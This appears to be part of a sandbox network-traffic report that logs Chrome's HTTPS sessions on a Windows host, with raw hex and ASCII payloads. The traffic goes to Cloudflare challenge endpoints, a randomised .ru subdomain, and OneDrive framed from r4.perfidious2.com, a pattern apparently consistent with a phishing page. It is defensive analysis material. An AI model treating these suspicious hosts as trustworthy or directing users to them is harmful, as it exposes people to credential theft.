68 73 32 50 46 4d 65 55 44 68 51 49 7a 34 30 59 43 5a 43 53 46 6b 71 52 6b 42 66 4c 31 38 76 61 44 46 6b 61 6d 6f 31 4c 6b 78 73 4f 6e 78 59 63 7a 35 61 55 48 78 Data Ascii: w7m8hYuGuYq60cGNzo7Ik623xZTHq9CYtbfOnrm/26LSotOk5qrZqtvL4K7f5eWy4q7mttHP6bmxz/O/2dfzwfLG9MX2ygDJz8YIzQ/KB9Lt4wTVB9YO2gwSEtz59xjh2QQa5QIMIesGCCLtH+4j8ekUJPYSGDT58Rgw/S/6MgId/jcHOD4/CjwwPg8pE0URLjhHGDI0Shs2PFMeUDhQIz40YCZCSFkqRkBfL18vaDFkamo1LkxsOnxYcz5aUHx
2024-12-03 08:06:09 UTC	1369	IN	Data Raw: 63 48 4a 7a 49 72 53 68 5a 4b 6c 6c 4d 50 4a 73 39 61 61 6d 5a 6d 63 79 39 47 35 33 71 4b 68 6f 61 54 54 32 62 65 6a 31 61 4c 6a 37 65 72 6b 34 72 44 48 33 65 75 78 38 37 47 79 38 4b 33 39 79 37 76 56 33 2f 4c 41 37 4f 7a 32 78 4e 76 78 41 4d 55 49 33 77 6e 4c 34 2b 76 79 43 52 41 57 34 39 50 72 47 68 59 63 32 51 62 79 33 42 72 53 32 69 54 35 34 76 72 6b 46 42 72 33 34 78 59 69 4a 43 38 62 4a 67 4c 76 43 43 59 58 4e 2b 6b 71 44 66 4d 6b 45 44 67 2f 50 44 49 52 41 54 41 32 47 41 41 79 41 30 42 4d 4e 30 49 69 44 43 52 53 4d 31 51 47 52 69 30 51 51 43 78 55 57 67 35 4f 4b 68 31 42 56 6a 31 66 46 6a 38 69 49 46 41 38 5a 47 77 65 58 6b 6c 72 49 6b 73 75 4d 57 42 6d 55 58 4d 71 56 7a 59 30 5a 46 42 34 67 46 5a 79 58 58 38 32 59 30 4a 46 64 48 70 6c 68 7a 35 66 Data Ascii: cHJzIrShZKllMPJs9aamZmcy9G53qKhoaTT2bej1aLj7erk4rDH3eux87Gy8K39y7vV3/LA7Oz2xNvxAMUI3wnL4+vyCRAW49PrGhYc2Qby3BrS2iT54vrkFBr34xYiJC8bJgLvCCYXN+kqDfMkEDg/PDIRATA2GAAyA0BMN0IiDCRSM1QGRi0QQCxUWg5OKh1BVj1fFj8iIFA8ZGweXklrIksuMWBmUXMqVzY0ZFB4gFZyXX82Y0JFdHplhz5f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.16	49751	104.18.94.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:11 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:11 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 08:06:11 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: h26thngSqFypPiZKwqJQjhYIBo38c8oWYVs=$GqHxApwwNgC8Jv4n Server: cloudflare CF-RAY: 8ec20e515930433e-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:11 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.16	49753	104.18.95.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:14 UTC	1174	OUT	POST /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive Content-Length: 34402 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-type: application/x-www-form-urlencoded CF-Chl-RetryAttempt: 0 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 CF-Challenge: nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA sec-ch-ua-platform: "Windows" Accept: / Origin: https://challenges.cloudflare.com Sec-Fetch-Site: same-origin Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv0/0/zhsb1/0x4AAAAAAAzn-jiwwut9VyvG/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:14 UTC	16384	OUT	Data Raw: 76 5f 38 65 63 32 30 65 30 31 30 38 35 39 34 32 32 39 3d 78 32 48 33 74 77 31 58 24 4b 76 46 32 46 50 77 6a 46 39 46 37 44 34 46 4a 78 31 42 66 46 45 33 48 32 31 25 32 62 35 31 46 45 46 55 52 4f 77 69 46 47 33 4b 48 77 38 48 46 78 77 46 55 32 77 63 31 46 4f 33 49 46 4d 6a 6e 50 33 30 75 45 34 46 33 46 71 35 46 79 52 44 4a 50 34 79 47 4f 46 42 46 30 48 31 44 78 7a 2b 4a 33 46 6f 48 48 45 58 78 46 63 41 78 45 48 46 67 33 42 48 77 58 33 47 48 46 71 47 47 46 46 35 51 46 78 24 4a 52 2b 46 37 76 46 42 33 46 54 46 31 59 2b 46 79 6e 72 68 50 33 46 6f 33 30 69 34 49 46 6a 76 67 37 7a 58 58 33 7a 33 59 37 31 50 6a 48 46 4e 2d 44 6a 64 61 48 46 55 52 79 4f 46 48 59 31 2b 47 65 32 46 55 6e 6d 76 50 43 42 37 46 70 44 79 66 48 70 6d 51 4a 4c 30 51 64 61 63 76 70 48 46 Data Ascii: v_8ec20e0108594229=x2H3tw1X$KvF2FPwjF9F7D4FJx1BfFE3H21%2b51FEFUROwiFG3KHw8HFxwFU2wc1FO3IFMjnP30uE4F3Fq5FyRDJP4yGOFBF0H1Dxz+J3FoHHEXxFcAxEHFg3BHwX3GHFqGGFF5QFx$JR+F7vFB3FTF1Y+FynrhP3Fo30i4IFjvg7zXX3z3Y71PjHFN-DjdaHFURyOFHY1+Ge2FUnmvPCB7FpDyfHpmQJL0QdacvpHF
2024-12-03 08:06:14 UTC	16384	OUT	Data Raw: 4f 37 58 47 46 30 52 77 53 31 76 33 65 46 47 4f 34 38 6a 50 7a 48 31 45 68 74 68 43 46 77 38 49 4d 46 48 33 77 24 46 36 32 48 44 52 43 46 62 43 79 51 77 51 46 33 33 31 49 30 34 46 79 46 55 48 46 55 65 65 33 47 4f 46 58 46 39 46 39 4f 31 77 46 48 33 4b 24 33 4c 46 38 33 48 24 77 76 46 69 33 79 24 46 56 46 70 33 55 46 46 6a 46 42 33 79 76 31 49 46 61 33 46 74 31 34 46 7a 46 37 46 77 30 33 44 34 77 46 46 32 51 33 4d 79 4f 31 63 46 76 46 35 43 46 35 31 76 77 35 4f 55 4d 31 74 46 7a 4f 44 72 72 49 34 78 4f 44 58 31 4b 46 65 4f 44 35 31 4b 46 67 48 46 46 46 65 6a 24 31 34 46 4a 4f 75 43 31 6e 49 47 64 6b 47 30 61 48 46 46 37 4e 2d 48 58 33 67 62 56 73 46 4a 49 44 47 31 43 46 4d 49 34 24 34 69 31 4d 49 55 24 34 59 31 4c 33 63 64 46 56 31 6a 33 51 42 4a 2b 33 75 Data Ascii: O7XGF0RwS1v3eFGO48jPzH1EhthCFw8IMFH3w$F62HDRCFbCyQwQF331I04FyFUHFUee3GOFXF9F9O1wFH3K$3LF83H$wvFi3y$FVFp3UFFjFB3yv1IFa3Ft14FzF7Fw03D4wFF2Q3MyO1cFvF5CF51vw5OUM1tFzODrrI4xODX1KFeOD51KFgHFFFej$14FJOuC1nIGdkG0aHFF7N-HX3gbVsFJIDG1CFMI4$4i1MIU$4Y1L3cdFV1j3QBJ+3u
2024-12-03 08:06:14 UTC	1634	OUT	Data Raw: 31 48 6a 4a 30 71 74 33 47 74 67 76 51 38 47 46 4b 61 78 4f 46 33 6b 41 46 30 4a 41 4f 49 31 75 58 78 53 38 46 77 64 54 35 46 4e 76 62 39 41 64 46 6f 42 53 6e 6b 6d 33 38 46 37 39 42 49 6c 66 44 4e 66 75 71 70 6f 78 7a 74 44 24 43 38 43 44 2d 44 4f 7a 61 35 24 44 45 4f 6c 35 24 35 54 30 4a 66 79 4f 66 67 31 37 6b 56 35 65 59 44 53 74 33 51 47 57 47 30 4e 4a 51 57 33 6b 78 76 6b 77 63 63 4f 24 46 7a 46 78 48 77 37 79 74 33 46 45 50 31 63 59 33 79 61 54 35 42 59 46 44 6e 75 74 33 62 78 76 44 57 50 48 59 46 34 58 77 4b 4e 71 33 35 34 70 36 31 36 46 39 32 46 55 46 77 56 49 76 31 32 58 64 35 70 75 55 77 48 34 49 31 49 77 32 46 69 4c 70 24 31 39 4a 63 24 77 48 55 52 78 51 24 79 42 6f 2b 46 78 6b 56 34 31 79 31 2b 49 77 48 55 58 46 6e 54 6f 43 34 45 70 4b 2b 6e Data Ascii: 1HjJ0qt3GtgvQ8GFKaxOF3kAF0JAOI1uXxS8FwdT5FNvb9AdFoBSnkm38F79BIlfDNfuqpoxztD$C8CD-DOza5$DEOl5$5T0JfyOfg17kV5eYDSt3QGWG0NJQW3kxvkwccO$FzFxHw7yt3FEP1cY3yaT5BYFDnut3bxvDWPHYF4XwKNq354p616F92FUFwVIv12Xd5puUwH4I1Iw2FiLp$19Jc$wHURxQ$yBo+FxkV41y1+IwHUXFnToC4EpK+n
2024-12-03 08:06:15 UTC	286	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:15 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4544 Connection: close cf-chl-out: FHOqfW5ughl2GulMK+EClKnsGABBdRwGRcae6tPEWi2mEPrq57KrL9sUzTFux+87upMPEmHAcshyhAu2mINp83CLJEaTcT6SFfz6ETQWTN34lLrCGDHN3v4=$1uaCZunKUjAJ7EiM
2024-12-03 08:06:15 UTC	1259	IN	Data Raw: 63 66 2d 63 68 6c 2d 6f 75 74 2d 73 3a 20 77 48 66 6d 38 61 68 78 79 6d 45 44 46 67 55 79 78 30 6b 55 62 6c 37 4c 44 6a 68 2f 6b 77 74 36 48 76 61 55 43 34 44 51 35 74 72 69 63 4b 38 58 4b 51 6c 76 6d 75 6d 34 48 47 58 68 2f 77 70 2b 58 7a 53 72 64 69 34 67 34 70 79 45 65 66 41 5a 42 46 32 76 38 4e 67 30 66 54 4f 42 4f 37 45 49 71 73 2f 45 53 58 68 46 30 68 59 71 65 6e 68 7a 38 36 4f 4e 6f 79 61 63 52 6b 36 50 55 68 51 5a 4d 46 34 57 37 68 63 66 46 65 39 77 52 37 4e 63 6f 57 57 6e 53 70 67 6c 66 65 52 44 4a 7a 4c 38 47 77 76 52 71 2f 74 74 57 4f 74 37 44 4a 48 41 53 43 67 34 6e 39 64 38 30 6d 66 42 46 38 36 34 4f 65 33 4c 49 7a 68 49 56 4b 6d 61 6c 36 77 32 6c 36 68 38 50 45 6a 4b 43 78 70 65 72 31 30 4e 65 42 4c 2f 58 78 57 67 31 44 68 73 66 42 79 67 4c Data Ascii: cf-chl-out-s: wHfm8ahxymEDFgUyx0kUbl7LDjh/kwt6HvaUC4DQ5tricK8XKQlvmum4HGXh/wp+XzSrdi4g4pyEefAZBF2v8Ng0fTOBO7EIqs/ESXhF0hYqenhz86ONoyacRk6PUhQZMF4W7hcfFe9wR7NcoWWnSpglfeRDJzL8GwvRq/ttWOt7DJHASCg4n9d80mfBF864Oe3LIzhIVKmal6w2l6h8PEjKCxper10NeBL/XxWg1DhsfBygL
2024-12-03 08:06:15 UTC	1193	IN	Data Raw: 6d 48 47 4a 64 32 75 45 54 34 6d 53 6d 47 75 42 6e 46 79 42 64 35 36 42 64 33 4f 61 6f 6f 36 5a 6f 6f 79 49 70 59 53 71 6b 62 57 75 69 35 65 71 74 61 53 6c 72 4a 69 73 72 6f 2b 42 6b 37 44 48 73 4c 32 30 79 37 53 61 76 49 69 77 69 61 72 41 6e 4c 4c 55 6f 37 2b 59 6a 39 57 61 73 70 50 64 6d 71 69 62 34 4e 4c 43 6e 62 50 51 35 4c 54 66 71 4b 4b 38 34 74 37 4f 36 4c 2f 63 38 4d 44 79 73 75 54 35 36 2b 72 61 2b 4d 76 70 37 4e 6a 33 76 76 44 59 43 4d 62 6f 35 67 66 6b 36 73 63 41 7a 76 7a 5a 32 74 45 42 43 78 62 54 79 75 67 4a 43 2f 76 32 36 77 6e 32 2f 42 6a 65 31 75 33 33 35 68 55 42 48 4f 73 5a 34 79 37 76 36 66 77 6d 48 4f 30 4f 49 44 49 69 46 51 30 75 4e 6a 73 64 51 41 34 75 51 54 6b 64 46 51 55 77 48 77 49 38 2f 53 31 49 4f 6a 39 4e 4c 69 73 4b 4b 6b 59 Data Ascii: mHGJd2uET4mSmGuBnFyBd56Bd3Oaoo6ZooyIpYSqkbWui5eqtaSlrJisro+Bk7DHsL20y7SavIiwiarAnLLUo7+Yj9WaspPdmqib4NLCnbPQ5LTfqKK84t7O6L/c8MDysuT56+ra+Mvp7Nj3vvDYCMbo5gfk6scAzvzZ2tEBCxbTyugJC/v26wn2/Bje1u335hUBHOsZ4y7v6fwmHO0OIDIiFQ0uNjsdQA4uQTkdFQUwHwI8/S1IOj9NLisKKkY
2024-12-03 08:06:15 UTC	1369	IN	Data Raw: 2b 6a 6a 43 41 76 77 31 77 77 42 39 2b 7a 34 32 69 58 66 4a 66 50 67 39 67 4d 62 43 75 59 76 2b 41 33 73 42 2b 34 33 41 65 6b 55 4a 54 63 54 43 50 6a 2b 46 54 48 36 41 41 30 5a 46 41 4a 45 49 52 6b 48 4f 55 30 4b 43 51 35 44 49 78 46 51 50 6c 63 51 56 44 45 6f 46 52 49 73 48 68 6b 57 50 46 30 67 4c 44 38 69 49 79 68 6d 61 6a 64 42 59 6d 49 68 52 57 5a 63 62 7a 51 75 4d 7a 4e 50 53 44 64 36 55 54 4e 72 50 58 39 4a 58 6a 79 42 68 6f 4a 52 64 6a 2b 43 50 54 36 4b 67 34 35 37 6b 6c 42 67 66 30 78 72 6c 49 53 57 55 6c 75 59 6c 70 70 62 56 6e 6c 2b 59 33 75 65 58 36 4e 39 6c 34 4e 34 6d 4a 35 6f 61 59 68 72 6e 36 2b 78 71 6f 4b 44 70 48 65 77 75 71 6d 75 70 6e 79 74 74 6f 4a 2f 6d 6f 50 46 6b 35 32 44 79 5a 4f 36 69 38 53 5a 79 38 4c 51 6b 74 4c 48 73 36 48 58 Data Ascii: +jjCAvw1wwB9+z42iXfJfPg9gMbCuYv+A3sB+43AekUJTcTCPj+FTH6AA0ZFAJEIRkHOU0KCQ5DIxFQPlcQVDEoFRIsHhkWPF0gLD8iIyhmajdBYmIhRWZcbzQuMzNPSDd6UTNrPX9JXjyBhoJRdj+CPT6Kg457klBgf0xrlISWUluYlppbVnl+Y3ueX6N9l4N4mJ5oaYhrn6+xqoKDpHewuqmupnyttoJ/moPFk52DyZO6i8SZy8LQktLHs6HX
2024-12-03 08:06:15 UTC	1369	IN	Data Raw: 48 53 31 2b 41 69 33 68 48 63 34 76 6b 6f 4a 77 55 6a 4a 77 4d 71 4d 52 73 77 36 66 33 74 37 2b 30 30 4c 69 34 61 48 41 59 32 2f 43 77 35 47 53 46 43 4f 77 63 66 49 44 55 4a 49 6b 59 46 44 44 73 36 54 55 35 41 51 6c 51 55 52 54 51 52 47 55 6b 77 56 78 30 2b 45 30 39 63 4c 43 41 35 56 7a 41 69 4e 55 73 6b 53 57 46 4d 51 6d 5a 68 63 47 46 43 62 32 4a 48 51 30 39 61 53 31 6f 34 61 6c 35 77 64 32 74 68 64 57 4e 76 56 30 6d 49 65 56 71 47 67 31 70 47 6a 58 35 6a 66 55 2b 52 6b 6f 6d 4d 61 48 46 33 57 57 36 59 6a 4a 4a 2f 58 46 31 36 68 59 57 48 67 6f 71 4c 69 33 61 64 61 47 32 64 6d 6e 39 75 71 59 75 47 6f 70 65 4c 75 4a 42 34 6b 49 69 54 6f 5a 32 4f 77 35 53 75 67 4b 43 7a 6d 34 69 6a 77 35 2b 4d 75 35 32 68 7a 73 4b 54 6c 4a 66 57 7a 72 6e 58 32 64 65 78 32 Data Ascii: HS1+Ai3hHc4vkoJwUjJwMqMRsw6f3t7+00Li4aHAY2/Cw5GSFCOwcfIDUJIkYFDDs6TU5AQlQURTQRGUkwVx0+E09cLCA5VzAiNUskSWFMQmZhcGFCb2JHQ09aS1o4al5wd2thdWNvV0mIeVqGg1pGjX5jfU+RkomMaHF3WW6YjJJ/XF16hYWHgoqLi3adaG2dmn9uqYuGopeLuJB4kIiToZ2Ow5SugKCzm4ijw5+Mu52hzsKTlJfWzrnX2dex2
2024-12-03 08:06:15 UTC	613	IN	Data Raw: 6d 41 66 4c 6f 34 79 66 37 37 65 33 33 4c 76 48 73 35 53 6f 6f 36 44 55 59 38 66 41 54 4a 68 30 49 46 2f 63 59 39 44 30 79 2f 67 45 51 51 6a 6f 58 4a 53 52 47 44 67 49 4c 48 67 6c 41 53 52 45 66 55 78 67 6e 45 31 6b 58 55 68 73 53 48 79 34 56 4f 7a 38 66 4a 7a 42 65 58 43 64 6c 62 53 6b 34 58 6d 64 4c 50 45 70 65 62 33 5a 6b 63 54 4d 33 61 54 59 33 53 6e 35 2b 64 54 70 78 67 55 4a 46 67 58 4a 31 52 45 4a 6a 54 6b 39 6e 6a 55 39 51 66 59 36 52 56 4a 56 68 63 70 70 30 6c 6c 68 64 69 56 75 42 58 33 71 44 59 47 4e 61 68 47 6c 30 6d 4a 64 39 71 35 6d 6d 61 6e 36 76 70 6f 39 32 6a 58 4f 36 65 36 71 75 73 33 35 79 6c 4a 69 43 72 62 61 36 6a 37 61 63 71 4d 65 6c 6d 4d 36 4c 76 62 71 36 30 4c 2f 54 6f 4e 53 74 30 72 75 6c 32 4d 36 59 71 4a 2b 65 6f 74 2f 64 31 61 Data Ascii: mAfLo4yf77e33LvHs5Soo6DUY8fATJh0IF/cY9D0y/gEQQjoXJSRGDgILHglASREfUxgnE1kXUhsSHy4VOz8fJzBeXCdlbSk4XmdLPEpeb3ZkcTM3aTY3Sn5+dTpxgUJFgXJ1REJjTk9njU9QfY6RVJVhcpp0llhdiVuBX3qDYGNahGl0mJd9q5mman6vpo92jXO6e6qus35ylJiCrba6j7acqMelmM6Lvbq60L/ToNSt0rul2M6YqJ+eot/d1a

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.16	49754	104.18.94.41	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:16 UTC	598	OUT	GET /cdn-cgi/challenge-platform/h/b/flow/ov1/149601342:1733210094:SCmeHnEMNlfzF0fVlKbBI035_JOp7MYYRReRQkLVXy0/8ec20e0108594229/nwA.jf.7G3rkxvg7hVkixXU9Thr8CJZF03wCjdTjTzM-1733213158-1.1.1.1-KqemN0K4LQpTMLMKvGIouyQkBPxEAZNCA9WBebInxDdcVR_8mSrI9dE7sPs209dA HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:17 UTC	379	IN	HTTP/1.1 404 Not Found Date: Tue, 03 Dec 2024 08:06:17 GMT Content-Type: application/json Content-Length: 7 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 cf-chl-out: JjD2CX1N/hXfgrgXk3T4sIgF/gN/Dyv6V9Q=$tlKoDlqPlLJQcELH Server: cloudflare CF-RAY: 8ec20e74fb97421b-EWR alt-svc: h3=":443"; ma=86400
2024-12-03 08:06:17 UTC	7	IN	Data Raw: 69 6e 76 61 6c 69 64 Data Ascii: invalid

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
30	192.168.2.16	49756	104.21.65.72	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:18 UTC	652	OUT	GET /xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE HTTP/1.1 Host: yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://r4.perfidious2.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Referer: https://r4.perfidious2.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:19 UTC	894	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:19 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=3OTYZ5Ow9G3Tg1rFnKrkwKtGh8gEHEyHGRBVHrXGOZxEkR2hXPR1PMRVzdYOCVjtw8712CyMOgO5w3UFEKppA38XBLG2dJP8JgawZ91wqztwJzjGB1qUOp4URegpvHpoj9%2BiaYbqBgDnkju5NRQdIICHutrn9QofsVTCEed7SYTqIVj8yyq5odi%2Bfy7eH0YEq%2BNB5xKSRQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec20e7faf2c18ea-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1585&min_rtt=1581&rtt_var=602&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1230&delivery_rate=1803582&cwnd=243&unsent_bytes=0&cid=55e6292fe694ba31&ts=877&x=0"
2024-12-03 08:06:19 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-03 08:06:19 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.16	49759	104.21.65.72	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:22 UTC	442	OUT	GET /xrwocikneyshqcuobdiBWotvECMIOKRYUODSYRKAHNRUPOWNPE HTTP/1.1 Host: yqhs4qoapmkfgt7y0vqdcc2orpbx2vrvxi73sjgje6aziuktsdghs.bfcgpixdwnw.ru Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:22 UTC	904	IN	HTTP/1.1 200 OK Date: Tue, 03 Dec 2024 08:06:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=MGhhWUlYvLOnaT6JicdpOwHcMgnhJr8oiviUhJIDmRc7rTR0GSOzI9jkySGMKNIiuBo%2BN1TcU%2B2oc9JBNpLI%2FP7zxGyksGy0GOrOKtDTWnvO10GpgXCO%2FXbXiu0%2B9PTANqwRj4IylTqJDLrthr1zFowM3%2BPmN2h49NoJuhjZFJ%2Bh9uFRNLfGv8COANVMARrs1zaQAH0s%2FQ%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8ec20e960ce54267-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1579&min_rtt=1576&rtt_var=597&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2836&recv_bytes=1020&delivery_rate=1821584&cwnd=232&unsent_bytes=0&cid=1d34d2c35a89462a&ts=868&x=0"
2024-12-03 08:06:22 UTC	6	IN	Data Raw: 31 0d 0a 31 0d 0a Data Ascii: 11
2024-12-03 08:06:22 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
32	192.168.2.16	49760	13.107.137.11	443	2724	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-03 08:06:24 UTC	682	OUT	GET / HTTP/1.1 Host: onedrive.live.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://r4.perfidious2.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-12-03 08:06:24 UTC	2224	IN	HTTP/1.1 302 Found Cache-Control: private Content-Length: 186 Content-Type: text/html; charset=utf-8 Location: https://www.microsoft.com/microsoft-365/onedrive/online-cloud-storage P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" X-NetworkStatistics: 0,525568,0,0,22607,0,73588,26 X-SharePointHealthScore: 0 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: b3db69a1-40ad-7000-01ac-3ce9ed538683 request-id: b3db69a1-40ad-7000-01ac-3ce9ed538683 MS-CV: oWnbs61AAHABrDzp7VOGgw.0 Alt-Svc: h3=":443";ma=86400 Report-To: {"group":"network-errors","max_age":7200,"endpoints":[{"url":"https://spo.nel.measure.office.net/api/report?tenantId=00000000-0000-0000-0000-000000000000&destinationEndpoint=Edge-Prod-BN3r2&frontEnd=AFD&RemoteIP=8.46.123.0"}]} NEL: {"report_to":"network-errors","max_age":7200,"success_fraction":0.001,"failure_fraction":1.0} Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com app.powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com .onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 18 SPIisLatency: 4 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25430 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 54EC0B53C6B643919F2BEA65BEA91E41 Ref B: BN3EDGE0811 Ref C: 2024-12-03T08:06:24Z Date: Tue, 03 Dec 2024 08:06:24 GMT Connection: close
